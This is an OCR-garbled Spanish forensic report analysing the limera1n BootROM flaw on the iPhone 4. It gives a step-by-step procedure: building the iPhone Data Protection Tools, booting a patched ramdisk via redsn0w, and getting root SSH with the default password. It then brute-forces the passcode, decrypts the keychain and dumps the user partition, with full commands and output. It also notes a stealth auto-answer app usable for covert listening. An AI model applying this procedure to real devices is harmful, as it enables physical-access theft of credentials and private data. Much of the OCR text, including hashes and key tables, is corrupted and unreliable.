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2. Introducción 

El presente informe refleja los resultados de un análisis técnico asociado a la vulnerabilidad conocida 

como 'limerain' presente en el BootROM de los dispositivos móviles de Apple basados en el núcleo 

o SoC (System on Chip) modelo A4, como por ejemplo el iPhone 4 (junio de 2010), el iPad i (abril de 

2010), el iPod Touch de 4 generación o el Apple TV de 2 generación (ambos de septiembre de 

2010)2. El SoC A4 fue fabricado y comercializado por Apple a partir de marzo de 2010: 

El análisis técnico, y el presente informe asociado, ha sido efectuado por Raúl Siles (DinoSec), consultor 

de seguridad, actuando en colaboración con el CCN (Centro Criptológico Nacional), durante el mes de 

febrero de 2016. 

EI análisis se llevó a cabo con el objetivo de verificar si sería posible disponer de control completo 

sobre un dispositivo móvil iOS de Apple, modelo ¡Phone 4 (identificado como "Model A1332"3 y con 

FCC-ID = BCG-E2380B4), si se dispone de acceso físico al mismo, ratificándose que debido a la 

vulnerabilidad mencionada, es posible disponer de dicho acceso. 

El BootROM5 es el componente que contiene el primer fragmento de código relevante que es 

ejecutado durante el proceso de arranque de los dispositivos móviles de Apple. Dicho código reside 

en una memoria de sólo lectura, como su propio nombre indica (ROM, Read Only Memory). 

La vulnerabilidad 'limeraln' afecta a las versiones de BootROM hasta la 
57446, asociadas al SoC A4, 

conocido como el modelo S5L89307. Esta vulnerabilidad y el exploit asociado fueron publicados el 9 

de octubre de 2010 por el investigador George Hotz (geohot), y afectan también a versiones previas 

de SoCs de Apple, como por ejemplo los empleados en el ¡Phone 3GS y en el iPod Touch de 3 

generación (también basados en la arquitectura ARMv7). El nombre de la vulnerabilidad y el exploit 

asociado provienen del nombre de la primera herramienta que hacía uso de estos para llevar a cabo 

el proceso de jailbreak en los dispositivos móviles de Apple: limeraln8. El exploit ha sido también 

2 http://iossupportmatrix.com 
3 

La referencia numérica dei modelo de iPhone está disponible en la parte posterior del mismo. 
4 https://www.fcc.gov/general/fcc-id-search-page (Grantee code : BCG, Product code: -E2380B) 
5 https://www.theiphonewiki.com/wiki/Bootrom 
6 https://www.theiphonewiki.com/wiki/Bootrom_574.4 
7 https://www.theiphonewiki.com/wiki/55L8930 
8 https://www.theiphonewiki.com/wiki/Limeraln 
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Adicionalmente se conoce la existencia de otro exploit que sólo afecta al SoC A4 de Apple, y por tanto, 

también al dispositivo móvil bajo estudio. Este otro exploit, denominado SHAtter16, nunca ha sido 

utilizado por parte de las herramientas públicas que permiten llevar a cabo el proceso de jailbreak en 

los dispositivos móviles de Apple, ya que el exploit de 'limerain' fue publicado en primer lugar y 

afectaba a un mayor número de dispositivos. 

Debido a que la vulnerabilidad conocida como 'limerain' afecta al hardware del dispositivo, en 

concreto al BootROM, no es posible solucionarla mediante actualizaciones software, siendo necesario 

actualizar el hardware del dispositivo, es decir, de manera efectiva, sustituir el dispositivo por un 

modelo más nuevo basado en otra versión de SoC no vulnerable. Asimismo, debido a que se trata de 

una vulnerabilidad hardware, permite su explotación independientemente de la versión software de 

lOS (el sistema operativo móvil de Apple) instalada en el dispositivo móvil. Por tanto, se han visto 

afectadas por esta vulnerabilidad tanto las versiones de iOS empleadas originalmente por los primeros 

dispositivos vulnerables, como iOS 3.2.2 en el iPad 1, hasta las últimas versiones soportadas por los 

dispositivos vulnerables, como lOS 7.1.2 en el iPhone 4. 

Tras explotar la vulnerabilidad 'limerain', se dispone de plenas capacidades para modificar y alterar 

el funcionamiento del dispositivo móvil objetivo. Sería por tanto posible realizar las modificaciones 

deseadas para cambiar el comportamiento estándar del dispositivo móvil y, por ejemplo, añadir 

nuevas capacidades para que el mismo responda automáticamente algunas llamadas recibidas, por 

ejemplo, en función del número llamante. 

Existen aplicaciones móviles (apps) como AutoAnswer17 que disponen de estas capacidades. Esta app 

está disponible desde Cydia (un repositorio público de apps para lOS) para dispositivos móviles iOS 

con el jailbreak aplicado, y permite responder automáticamente tanto a las llamadas de voz a través 

de la red de telefonía o celular, como a las llamadas de voz y vIdeo conferencia a través de FaceTime. 

AutoAnswer es compatible con las versiones iOS 4, 5, 6 y 7, es decir, con la versión instalada en el 

iPhone 4 bajo estudio'8. 

AutoAnswer permite seleccionar los números Ilamantes (hasta tres) para los que el teléfono 

responderá las llamadas automáticamente sin la intervención del usuario (y potencialmente, para 

cualquier número), así como definir si la llamada será respondida inmediatamente o tras un tiempo 

determinado (especificado en segundos en la configuración de la app). Adicionalmente, la app dispone 

de un modo silencioso (o Stealth Mode) para que el teléfono no emita ningún sonido asociado a la 

llamada entrante, de forma que el usuario no sea consciente de la misma, no mostrándose ni siquiera 

que hay una llamada activa, y no dejando registro en el histórico de llamadas recibidas. La descripción 

de la app en inglés detalla varios de sus diferentes casos de uso: 

"AutoAnswer has several uses like: baby-watching over FaceTime, auto-answering specific 

numbers while driving, while using your phone with a bluetooth headset, instant response to 

16 https://www.theiphonewiki.com/wiki/SHA-1_ImageSegment_Overflow 
17 http://moreinfo.thebigboss.org/moreinfo/clepiction.php?fileautoanswerData 
la Adicionalmente existe una versión para lOS 8: http://moreinfo.thebigboss.org/moreinfo/autoanswer.php 
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La referencia en los ficheros de firmware de iOS asociada al modelo de iPhone 4 A1332 en las 

diferentes versiones de hardware es iPhone3,1 o iPhone3,221. 

Todas las pruebas realizadas han hecho uso de dispositivos móviles de Apple modelo Phone 4 (A1332) 

con la versión 7.1.2 de iOS, al ser esta la versión existente en el dispositivo móvil iPhone 4 de referencia 

que ha originado el presente análisis. 

Es posible verificar la versión de BootROM del dispositivo móvil objetivo arrancándolo en modo DFU 

(Device Firmware Update), mediante un proceso de arranque personalizado que permite restaurarlos 

dispositivos móviles de Apple22: 

1. Conectar el dispositivo móvil al ordenador mediante un cable USB. 

2. Apagar el dispositivo móvil. 

3. Esperar a que el dispositivo móvil se apague completamente. 

4. Arrancar el dispositivo móvil manteniendo pulsado el botón de arranque (o botón de encendido 

y apagado) durante 3 segundos. 

5. Pulsar el botón de arranque y de "Home" simultáneamente durante 10 segundos. 

6. Soltar el botón de arranque pero mantener pulsado el botón de "Home". 

7. Después de unos 15 segundos, iTunes indicará que ha detectado un dispositivo en modo 

recuperación. 

La pantalla del dispositivo permanecerá en blanco (de color negro), sin ningún logotipo o imagen. 

21 https://www.theiphonewiki.com/wiki/Models 
22 https://www.theiphonewiki.com/wiki/DFU_Mode 

© 2016 DinoSec (www.dinosec.com) Page 11 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

Asociación APEDANICA Tel. 902998352 www.cita.es/apedanica.pdf PUBLICADO en www.cita.es/cni-iphone.pdf

Dr. (PhD) Ing. Miguel Gallardo perito judicial investigador www.miguelgallardo.es/audio.pdf

http://www.cvisiontech.com


Análisis técnico de la vulnerabilidad 9imeraln' en el iphone 4 

4. Preparación dei portátil para explotar la vulnerabilidad 

El siguiente procedimiento permite configurar el entorno necesario en OS X Yosemite (1O.1O.x) para 

explotar la vulnerabilidad 9imeraln' sobre dispositivos móviles de Apple vulnerables. 

Para ello es necesario instalar diferentes herramientas y utilidades, junto a sus prerrequisitos 

software, así como el entorno de desarrollo de Apple, conocido como Xcode. Adicionalmente se hará 

uso de las iPhone Data Protection Tools23, un conjunto de utilidades que permiten demostrar el 

potencial del exploit de 9imeraln', tanto para obtener acceso completo al dispositivo mediante un 

shell (o línea de comandos), asícomo poder realizar ataques de fuerza bruta sobre el código del acceso 

fijado en el dispositivo móvil. Una vez obtenido el código de acceso, es posible descifrar el Keychain, 

qué proporciona acceso a todas las credenciales (usuarios y contraseñas) y certificados del usuario, 

así como el contenido completo de la memoria del dispositivo móvil y acceder a la totalidad del 

sistema de archivos (incluyendo todos los ficheros y directorios). Los scripts de gestión del Keychain24 

pueden ser instalados en cualquier dispositivo móvil iOS con el proceso de jailbreak aplicado para 

inspeccionar los elementos almacenados en el Keychain, así como sus clases de protección25. 

Adicionalmente, estas herramientas tienen capacidades para descifrar los backups de iTunes 

('tbackup_tool.py") y para crear imágenes ramdisk del dispositivo móvil objetivo desde el punto de 

vista forense ('dumpdata_partition.sh). Por otro lado, una versión modificada de HFSExplorer 

permite hacer uso de la imagen ramdisk creada previamente para procesar las imágenes de las 

particiones de la memoria de los dispositivos móviles iOS. Para finalizar, en una actualización posterior 

se añadió la utilidad emf_decrypter.py", que permite descifrar las imágenes de disco 

permanentemente y la utilidad "emf_undelete.py", que permite la recuperación de ficheros borrados 

que no han sido aún sobrescritos. 

Para llevar a cabo varios de los pasos descritos en el proceso de preparación detallado a continuación, 

es necesario disponer de conectividad hacia Internet desde el equipo de análisis. 

Todos los comandos indicados a continuación deben ser ejecutados por un usuario con privilegios de 

administrador en OS X, para que pueda ejecutar comandos como root mediante sudo en aquellos 

casos donde es necesario. 

Una vez se dispone del portátil preconfigurado, es posible hacer uso del exploit de limerain' 
directamente, siguiendo las instrucciones del apartado "5. Proceso de explotación de la 

vulnerabilidad. 

23 https://code.googe.com/archive/p/iphone-dataprotection/ 
24 

En ocasiones referenciados como utilidad KeychainViewer. 
25 https://www.apple.com/la/iphone/business/docs/iOS_security_Mayl2.pdf 
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s sudo mkdir -p /usr/local/bin 

s curl -O http://networkpx.googlecode.com/files/ldid 

s chmod +x idid 

$ sudo cp idid /usr/local/bin 

El hash SHA1 de Idid es: 27bc747804aaec28795a017b85254d2bc7de6132. 

La herramienta codesign_allocate es utilizada por las iPhone Data Protection Tools, por lo que también 

debe estar disponible en el PATH. La herramienta codesign_allocate está incluida en Xcode versión 

5.1.1 y está disponible por defecto en el PATH bajo hh/usr/binu: 

s which codesign allocate 

/usr/bin/codesign allocate 

Se instaló el gestor de paquetes Homebrew en OS X (por defecto, bajo /usr/local/bin/brew'): 

s ruby -e "$(curl -fsSL 

https://raw.githubusercontent.com/Homebrew/install/master/install)" 

Mediante el siguiente comando se procedió a inicializar Homebrew (se obtiene un mensaje de aviso 

indicando que la versión de Xcode utilizada está desactualizada): 

$ brew doctor 

NPEUIitMI 
Se instaló la herramienta swig, en concreto la versión 3.0.8, necesaria para la instalación de módulos 

de Python posteriormente, como por ejemplo, M2crypto: 

s brew install swig 

Se instaló openssi, en concreto la versión 1.O.2f, necesaria para la instalación de módulos de Python 

posteriormente, como por ejemplo, M2crypto: 

$ brew install openssl 

. -AfifTflrIfflT 

Se creó un enlace simbólico a "/usr/includ&' asociado al mismo directorio en Xcode, necesario para la 

instalación de módulos de Python posteriormente, como por ejemplo, M2crypto: 

s sudo ln -s 

/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/DevelO 

per/SDK5/NacOSX1O.09.sdk/usr/include/ /usr/include 
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Los siguientes pasos permiten preparar el ordenador empleado para el análisis con el objetivo de 

explotar un modelo de dispositivo móvil iOS de Apple específico. Estos pasos son, por tanto, 

necesarios y deben ser repetidos para poder explotar cada modelo de dispositivo móvil diferente, es 

decir, deben repetirse para el ¡Phone 4, para el iPad i, etc. En el caso de estudio analizado, todos los 

pasos mostrados aplican únicamente al iPhone 4 al ser este el dispositivo móvil objetivo. 

Para ello sólo es necesario ejecutar el siguiente comando, visualizar los términos de licencia y teclear 

"agree" para aceptarlos: 

s sudo xcodebuild -license 

I:t 

Descargar la versión específica de las ¡Phone Data Protection Tools para Yosemite y Xcode 5.x, 

existiendo dos opciones: mediante descarga directa (opción recomendada desde el punto de vista 

forense) o mediante Git. 

Las iPhone Data Protection Tools, también conocidas como iDPT, toman su nombre del término "data 

protection" (o "protección de datos" en español), empleado porApple para referirse a los mecanismos 

de protección de datos y cifrado de ¡OS. Estas herramientas fueron originalmente publicadas en 

http://code.google.com/p/iphone-dataprotection/, junto a la presentación asociada de la conferencia 

Hack in the Box, HitB, del año 2011 en Amsterdam por Sogeti/ESEC29. 

t ritt1WrIiQW . 

Desde el punto de vista forense, se pueden descargar las iPhone Data Protection Tools directamente 

desde el fichero ZIP asociado, en lugar de mediante Git, a través de la siguiente URL: 

s cd $HOME/Downloads 

s curl -LOJ https://github.com/dinosec/iphone-dataprotection- 

xcode5/archive/l . O . i . zip 

La descarga creará el fichero "iphone-dataprotection-xcode5-i.O.i.zip". Se debe crear un directorio 

de trabajo y copiar las iPhone Data Protection Tools al mismo: 

s mkdir $HOME/iDPT 

s cd $HOME/iDPT 

s unzip $HOME/Downloads/iphone-dataprotection-xcode5-1 .0 .l.zip 

s mv iphone-dataprotection-xcode5-1 . O . i iphone-dataprotection 

29 http://conference.hackinthebox.org/hitbsecconf2ûllams/materials/D2T2%20-%2OJean- 
Baptiste%2OBe%cC%8ldrune%20&%2OJean%2OSigwald%20-%2OiPhone%2OData%2OProtection%2Oin%2ODepthpdf 

© 2016 DinoSec (www.dinosec.com) Page 17 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

Asociación APEDANICA Tel. 902998352 www.cita.es/apedanica.pdf PUBLICADO en www.cita.es/cni-iphone.pdf

Dr. (PhD) Ing. Miguel Gallardo perito judicial investigador www.miguelgallardo.es/audio.pdf

http://www.cvisiontech.com


Análisis técnico de la vulnerabilidad 'limerain' en el iPhone 4 

inflating: redsnOwmacO.9.15b3/redsnOw.app/Contents/MacOS/bootlogo.png 
inflating: redsnOwmacO.9.15b3/redsnOw.app/Contents/NacOS/bootlogox2.png 
inflating: redsnOwmacO.9.15b3/redsnüw.app/Contents/MacOS/corona-A5.tar 
inflating: redsnOwmacO.9.15b3/redsnüw.app/Contents/MacOS/Cydia.tar.lzma 
inflating: redsnOwmacO.9.l5b3/redsnOw.app/Contents/MacOS/Keys.plist 
inflating: 

redsnüwmacO . 9 . l5b3/redsnOw . app/Contents/MacOS/progresslogo . png 
inflating: redsnOwmacO.9.l5b3/redsnOw.app/Contents/MacOS/rd.tar 
inflating: redsnOwmacO . 9 . l5b3/redsnOw.app/Contents/MacOS/redsnOw 
inflating: redsnOwmacO.9.l5b3/redsnOw.app/Contents/MacOS/rocky- 

racoon . tar 
extracting: redsnüwmacO.9.15b3/redsnüw.app/Contents/Pkglnfo 

creating: redsnOwmacü.9.l5b3/redsnüw.app/Contents/Resources/ 
inflating: 

redsnOwmacO . 9 . l5b3/redsnüw . app/Contents/Resources/redsnOw . icns 

Decrypting kernelcache.release.n90 
Unpacking ... 

Doing CSED patch 

Doing getxattr system patch 

Doing nand-disable-driver patch 

Doing taskforpidO patch 
Doing IOAES gid patch 

Doing AMFI patch 

Doing AppleIOPFMI: :fmiPatchMetaFringe patch 
Doing PEicanhasdebugger patch 
Doing IOAESAccelerator enable UID patch 

Added IOFlashControlleruserClient::externalMethod patch at file offset 
0x5f08f4 

Patched kernel written to data/boot/kerneliPhone3, 15. 09A334 .patched 
Decrypting 0l8-7923-347.dmg 

Decrypted ramdisk written to data/boot/ramdiskiPhone3, l5.09A334 .dmg 
Rebuilding ramdisk tools 
Found iOS SDK at 
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Deve 
loper/SDKs/iPhoneOS7 . 1 . sdk/ 

lOKit headers missing 

Symlinking headers 
+ sudo ln -s 

/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Develo 
per/SDK5/MacOSXlO . 9 . sdk/System/Library/Frameworks/IOKit . framework/Headers 

/Applications/Xcode . app/Contents/Developer/Platforms/iPhoneOS . platform/Deve 
loper/SDK5/iPhoneOS7 . 1 . sdk//System/Library/Frameworks/IOKit . framework/Heade 

rs 

Password: 
+ sudo ln -s 

/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Develo 

per/SDK5/MacOSXlO . 9 . sdk/usr/include/libkern/OSTypes .h 
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneüS .platform/Deve 
loper/SDK5/iPhoneOS7 . 1 . sdk//usr/include/libkern/OSTypes .h 
+ set +x 
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Análisis técnico de la vulnerabilidad 'limerain' en el iPhone 4 

min=4 . O -o ioflashstoragekit ioflash/ioflash. c ioflash/ioflashkernel .0 
ioflash/ioflashstoragekit.c ioflash/IOFlashPartitionScheme.c util.c 

codesign -s - --entitlements entitlements.plist ioflashstoragekit 

clang -arch armv7 -Wall -Wno-pointer-sign -isysroot 

/Appiications/Xcode . app/Contents/Developer/Platforms/iPhoneOS . platform/Deve 

loper/SDKs/iPhoneOS7.1.sdk/ -DHGVERSION="\"unknown\" -03 -I. -framework 

CoreFoundation -framework lOKit -framework Security -miphoneos-version- 

min=4.O -o ttbthingy ttbthingy.c 
codesign -s - --entitlements entitlements.plist ttbthingy 

Non-fat file: ramdisktools/restoredexternal is architecture: armv7 

resizing ramdisk... 
hdiutil will segfault if ramdisk was already resized, thats ok 

Attaching ramdisk 

/dev/disk2 

/Volumes/ramdisk 
Unpacking ssh.tar.gz on ramdisk... 

bin!: Already exists 

bin!cat: Already exists 
bin,/launchctl: Already exists 

bin!ln: Already exists 

bin!mkdir: Already exists 

bin!mv: Already exists 

bin/'rm: Already exists 

etc!: Already exists 

shin!: Already exists 

usr!: Already exists 

usr!bin!: Already exists 

usr!lib!: Already exists 

var,': Already exists 
tar: Error exit delayed from previous errors. 

This tar error message is okay 

Adding!updating ramdisktools binaries on ramdisk... 
total 568 

drwx ------ 6 usuario staff 204B 14 feb 21:45 

drwxr-xr-x 5 usuario staff l7OB 14 feb 21:45 .. 

-rwxr-xr-x 1 usuario staff 104K 14 feb 21:45 bruteforce 

-rwxr-xr-x 1 usuario staff 103K 14 feb 21:45 device infos 

-rwxr-xr-x 1 usuario staff 65K 14 feb 21:45 ioflashstoragekit 

-rwxr-xr-x 1 usuario staff 5l4B 14 feb 21:45 mount partitions.sh 

"disk2" unmounted. 

"disk2" ejected. 

Build OK, running boot.py 

Using data!ipsw!iPhone3, 15. O9A334Restore.ipsw 
Use nand-disable boot flag ? [y!n] n 

NOTA: Los errores asociados al mensaje "no repositoryfound" y "(.hg notfound)" no afectan a la 

ejecución del script asociado, "build_tools.sh", y se deben a que la versión utilizada de las iPhone Data 
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Análisis técnico de la vulnerabilidad 'limerain' en el iPhone 4 

5. Proceso de explotación de la vulnerabilidad 

Los siguientes pasos detallan el proceso a seguir para explotar la vulnerabilidad 'limerain' en un 

dispositivo móvil iOS objetivo, en este caso, un iPhone 4. En concreto, se hará uso de la vulnerabilidad 

'limerain' para arrancar el dispositivo móvil desde una versión personalizada del sistema operativo 

iOS (creada durante el proceso de preparación previo) y que dispone de capacidades para obtener 

acceso completo al dispositivo mediante un shell (o línea de comandos), así como poder realizar 

ataques de fuerza bruta sobre el código del acceso del dispositivo móvil. Una vez obtenido el código 

de acceso, es posible descifrar el Keychain, qué proporciona acceso a todas las credenciales (usuarios 

y contraseñas) y certificados del usuario, así como el contenido completo de la memoria del dispositivo 

móvil y acceder a la totalidad del sistema de archivos (incluyendo todos los ficheros y directorios). 

Estos pasos deben ser repetidos para cada dispositivo móvil objetivo específico que se desea explotar. 

5.1 ExplotacIón de la vulnerabilidad 

Los siguientes pasos detallan como explotar la vulnerabilidad 'limerain' y hacer uso de iPhone Data 

Protection Tools para disponer de capacidades de ejecución en el dispositivo móvil objetivo. 

51.1 Conexión del dispositivo móvil al ordenador 

Se debe conectar el dispositivo móvil objetivo al ordenador mediante un cable USB, en concreto, el 

cable USB de Apple de 30 pines para el iPhone 4. En el caso de que iTunes detecte la presencia dei 

dispositivo móvil y arranque, debe permitirse su ejecución. 

Una vez ha finalizado el proceso de arranque, tanto del dispositivo móvil (en caso de estar 

previamente apagado y haber arrancado al ser conectado al ordenador) como de iTunes (en caso de 

ejecutarse automáticamente al detectar el dispositivo), debe procederse a apagar el dispositivo móvil 

mediante el botón de encendido y apagado, siguiendo el método habitual, y cerrar iTunes. 

Una vez el dispositivo móvil se ha apagado completamente, se puede proceder al siguiente paso. 

Al final de la ejecución del script "build.py", detallada en el apartado de preparación previo, se llevó a 

cabo la ejecución automática del script "boot.py", que a su vez ejecutó la herramienta redsnOw. En 

este punto se debe hacer uso de dicha herramienta. 

En caso de querer explotar la vulnerabilidad directamente en ocasiones posteriores, se puede ejecutar 

de nuevo directamente el script "boot.py" contra el dispositivo móvil iOS objetivo: 

s cd $HONE/iDPT/iphone-dataprotection 

s ./boot.py 
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Análisis técnico de Ia vulnerabilidad 'limera in' en el iPhone 4 

En primer lugar es necesario arrancar el dispositivo móvil objetivo en modo DFU (Device Firmware 

Update), mediante un proceso de arranque personalizado que permite restaurar los dispositivos 

móviles de Apple31. Puede Ilevarse a cabo el proceso manual descrito a continuación, o seguir las 

instrucciones del mismo desde la ventana de redsnOw tras pulsar el botón "Next>": 

e redsnOwO915b3 

Please use the foItoIng ,nstructons to nter DFU mod. 

I . Ho4d down th. Power con.) button for I second. 

<Back . Quit 

i. Asegurarse de que el dispositivo móvil está conectado al ordenador mediante un cable USB. 

2. Apagar el dispositivo móvil. 

3. Esperar a que el dispositivo móvil se apague completamente. 

4. Arrancar el dispositivo móvil manteniendo pulsado el botón de arranque (o botón de encendido 

V apagado) durante 3 segundos. 

5. Pulsar el botón de arranque y de "Home" simultáneamente durante 10 segundos. 

6. Soltar el botón de arranque pero mantener pulsado el botón de "Home". 

7. Después de unos i5 segundos, redsnOw detectará que el dispositivo está en modo recuperación 

e intentará ejecutar el exploit de 'limerain' automáticamente. 

La pantalla del dispositivo permanecerá en blanco (de color negro), sin ningún logotipo o imagen. 

31 https://www.theiphonewiki.com/wiki/DFU_Mode 
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Anáflsis técnico de la vunerabiIidad hrneraln en & iPhone 4 --.------ 
Una vez fnalice & proceso de explotación, redsnüw Jo indicará con & mensaje Done'. En ese 

momento es posibe cerrar redsnüw medante & botón Quit: 

En caso de tener éxito & expoit, se visualizará una piña en la pantafla del dispositivo móvfl durante el 

proceso de arranque (en lugar de el logo de la manzana de Apple), seguida de mensajes de texto 

asociados al arranque personalizado a través de las Phone Data Protection Tools: 

- 

- - 
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Análisis técnico de la vulnerabilidad 'limerain' en el iPhone 4 

En primer lugar se debe ejecutar en un terminal el script "tcprelay.sh", incluido en las iPhone pata 

Protection Tools: 

s sh tcprelay.sh 
Forwarding local port 2222 to remote port 22 

A continuación, es posible establecer una conexión con el dispositivo móvil mediante un cliente SSH 

desde otro terminal a través de la redirección local, empleando el usuario root y la contraseña por 

defecto, "alpine": 

s ssh -p 2222 root@localhost 
The authenticity of host ' [localhost] :2222 ([127.0.0.1] :2222) ' can't be 

established. 

RSA key fingerprint is 76:79:9c:19:77:c3:53:90:20:4f:a7:55:54:87:bl:fb. 

Are you sure you want to continue connecting (yes/no)? yes 

Warning: Permanently added ' [localhost] :2222' (RSA) to the list of known 

hosts. 

root@localhost' s password: 

-sh-4 . 

Como resultado, se dispone de acceso con el usuario que dispone dei máximo nivel de privilegios en 

el dispositivo móvil, root, pudiendo ejecutar cualquier comando en ei mismo. 

Incluso sin disponer del código de acceso, es posible montar los sistemas de ficheros del dispositivo 

móvil asociadas a las dos particiones existentes, la de sistema (donde reside el sistema operativo lOS) 

V la de usuario (donde residen todos los datos asociados al usuario y apps): 

-sh-4.O# ls -1 

total 284 

-rwxr-xr-x 1 mobile 
-rwxr-xr-x 1 mobile 
-rwxr-xr-x 1 mobile 

-rwxr-xr-x 1 mobile 

-sh-4.O# pwd 

/var/ root 

-sh-4.O# mount 

20 106656 Feb 14 

20 105776 Feb 14 

20 66896 Feb 14 

20 514 Feb 14 

12:45 bruteforce 

12 : 45 device infos 

12:45 ioflashstoragekit 

12:45 mount partitions.sh 

/dev/mdü on / (hfs, local, noatime) 

devfs on /dev (devfs, local, nobrowse) 

-sh-4 . O# . /mountpartitions . sh 
-sh-4.O# mount 

/dev/rndO on I (hfs, local, noatime) 

devfs on ¡dey (devfs, local, nobrowse) 

/dev/diskOslsl on /mntl (hfs, local, journaled, noatime) 

/dev/diskOsls2 on /mnt2 (hfs, local, journaled, noatime, protect) 

-sh-4 . O# 

-sh-4.O# cd /inntl 

-sh-4.O# is -i 
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Análisis técnico de la vulnerabilidad 1imeraln' en el iPhone 4 

s python python_scripts/demo_bruteforce . py 
Connecting to device : 047ed583c983d0f4c1497b2cf79d7289502c014d 

Keybag UUID : 08cb4a03cd7f43f89fdc32626f6fde89 

Enter passcode or leave blank for bruteforce: 

Trying all 4-digits passcodes... 
o of 10000 ETA: 

lo of 10000 ETA: 0:31:40 

20 of 10000 ETA: 0:31:26 

30 of 10000 ETA: 0:31:13 

40 of 10000 ETA: 0:31:01 

1220 of 10000 ETA: 0:26:17 

1230 of 10000 ETA: 0:26:15 

10000 of 10000 Time: 0:03:42 

1 00 % 
i 

BruteforceSystemKeyBag : 0:03:42.064051 

{'passcode': '1234', 'passcodeKey': 
! f3baO4004lab2bec36cdfad7daeSd96l45aO4200d62elac37l3d2ab5ldaa8def' } 

True 

Keybag type : System keybag (0) 

Keybag version : 4 

Keybag UUID : 08cb4a03cd7f43f89fdc32626f6fde89 

Class WRAP Type Key Public key 

NSFaleyra Coalisa lampade 3 Ala 0812f8fa86d8a5ed9a8286a0b0a76444e2499kef3f9501c80374d13a1138coo5 

NSFiJepro teChos CompleteUalessOyek 3 Curve2Slll a2613daba07825613ef9bdb9f7b903b85kk9ac9523k4f11417a82668d48k8da6 

cd2adfl533ela2la767Seeg97clklkbek3afbkdeflbk62edllS59bdO4Ofk44lB 

NaFijepro tection Completeziatil First UserAk 'thenticatioa 3 TIES asabaaealc4e55eelralaf6d5l9db2O5245e64522ld7a8l83b64e5a47ldeb 
NaFlleyateatiaa bocavory' . 3 bES 85f16352b6a3a8249968e82e8b49bl97a7e67a5f294l700167b3a00faeaa13a5 

kSeaAt Irkacassa blepheslalacked 3 Ala a1ba9516341f8aaa20a9a2904aeba5f93058aek121c74a2b5342U743501a11c5 

k aeaaktraaaessa bCo afteryars 105151k 3 ala ba24a9e6ec14397b79aa5339791116e395a1a461e28f9fb72fa00b9394201519 

kIecAl trkceesea bleblsays 1 All O292abOdfafBblfSlf2bbllkbl7ae24cllblllöbkeelsSaaldG200b7f59ebbC2 

kSeaAC trkccessa blepaealalaakedlhls lavicoOs ay 3 bEI b5elsdlfbf7el2llo5b6bcc2S62olldll3eblb545el4eelb7a4del2ll4SdTO24 

kIecAt Crkcaessa bleAT terFire tlallckThis 11511005 by 3 AIS l63d2f8585lea0fl481432l7lbld5a7d84ba5fk765499lkf3o3bTa463oa0lb47 

kIelAt trkaleasa bleAlwayslhislevicelnly i ASS bdl5eeal9keb3laeleEc27bfc2ealb4lbla2Sb4ealSlSd785a15aa42a27ae15c 

Downloaded keychain database, 3 files, use keychaintool.py to decrypt 
secrets 

s 

s ls -1 047ed583c983d0f4c1497b2cf79d7289502c014d/ 

total 5224 

-rw-r--r-- 1 usuario staff 10606 15 feb 19:57 55ee31f5bf824443.plist 

-rw-r--r-- 1 usuario staff 4096 15 feb 19:57 keychain-2.db 

-rw-r--r-- 1 usuario staff 32768 15 feb 19:57 keychain-2.db-shm 

-rw-r--r-- 1 usuario staff 2624472 15 feb 19:57 keychain-2.db-wal 

s 

Debido a la implementación de los mecanismos de cifrado existentes en los dispositivos móviles lOS, 

dependientes de claves de cifrado almacenadas únicamente en el hardware de cada dispositivo, la 
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Análisis técnico de la vulnerabilidad 'limerain' en el iPhone 4 

NOTA: Los ejemplos superiores no muestran información crítica o sensible dei usuario ya que, a 

propósito, el dispositivo móvil objetivo empleado había sido instalado recientemente y no disponía de 

datos de usuario relevantes. 

: 

Con el nivel de acceso obtenido previamente, sería potencialmente posible alterar los diferentes 

componentes implicados en el arranque del dispositivo móvil lOS, como el LLB, iBoot y/o el kernel, de 

manera similar al proceso de jailbreak, para disponer permanentemente de las capacidades para 

instalar y/o ejecutar cualquier software en el dispositivo objetivo. 

Con la información previa dei Keychain, es posible descifrar el contenido completo de la memoria del 

dispositivo móvil y acceder a la totalidad dei sistema de archivos (incluyendo todos los ficheros y 

directorios), y a sus contenidos. 

La siguiente secuencia de comandos y scripts permiten volcar la partición de datos (o de usuario, no 

así la de sistema ya que únicamente contiene la versión de iOS utilizada)32, a través de la conexión de 

TCP relay de SSH (siendo necesario introducir la contraseña de root en un par de ocasiones), al 

ordenador local y en concreto bajo el directorio de trabajo asociado al UDID del dispositivo móvil 

objetivo. Este proceso llevará bastantes minutos, dependiendo dei tamaño de la memoria del 

dispositivo móvil objetivo, y en concreto, del tamaño de la partición de datos: 

s sh tcprelay.sh 

Forwarding local port 2222 to remote port 22 

s . 
/dump_datayartition . sh 

Warning: Permanently added '[localhost]:2222' (RSA) to the list of known 

hosts. 

root@localhost ' s password: 

Device UDID : 047ed583c983d0f4cl497b2cf79d7289502c0l4d 

Dumping data partition in 
047ed583c983d0f4c1497b2cf79d7289502c0l4d/data2Ol6O2l5-2043.dmg . . 

Warning: Permanently added ' [localhost] :2222' (RSA) to the list of known 

hosts. 

root@localhost's password: 

dd: opening /dev/rdiskOs2sl': No such file or directory 

Connection to localhost closed by remote host. 

s 

NOTA: Los errores anteriores son habituales y no interfieren con la adquisición de la partición. 

Como resultado se creará un fichero .dmg con la fecha y hora actuales, que corresponde a la imagen 

de la partición de datos (de 13,50 GB de tamaño para un iPhone 4 de 16 GB; el resto dei espacio 

32 
En este caso sí se recomienda usar el nand-disable boot flag en el script boot.py. 
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CCNCERT IT 11/16 

DIFUSIÓN LIMITADA 

LIMITACIÓN DE RESPONSABILIDAD 

Ei presente documento se proporciona de acuerdo con los términos en él recogidos, 
rechazando expresamente cualquier tipo de garantía implícita que se pueda encont'rar" 
relacionada. En ningún caso, el Centro Criptológico Nacional puede ser considerado 
responsable del daño directo, indirecto, fortuito o extraordinario derivado de la utilización de la 

información y software que se indican incluso cuando se advierta de tal posibilidad. 

AVISO LEGAL 

Quedan rigurosamente prohibidas, sin la autorización escrita del Centro Criptológico Nacional, 
bajo las sanciones establecidas en as leyes, la reproducción parcial o total de este documento 
por cualquier medio o procedimiento, comprendidos la reprografla y el tratamiento informático, 

y la distribución de ejemplares del mismo mediante alquiler o préstamo públicos. 
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DIFUSIÓN LIMITADA 
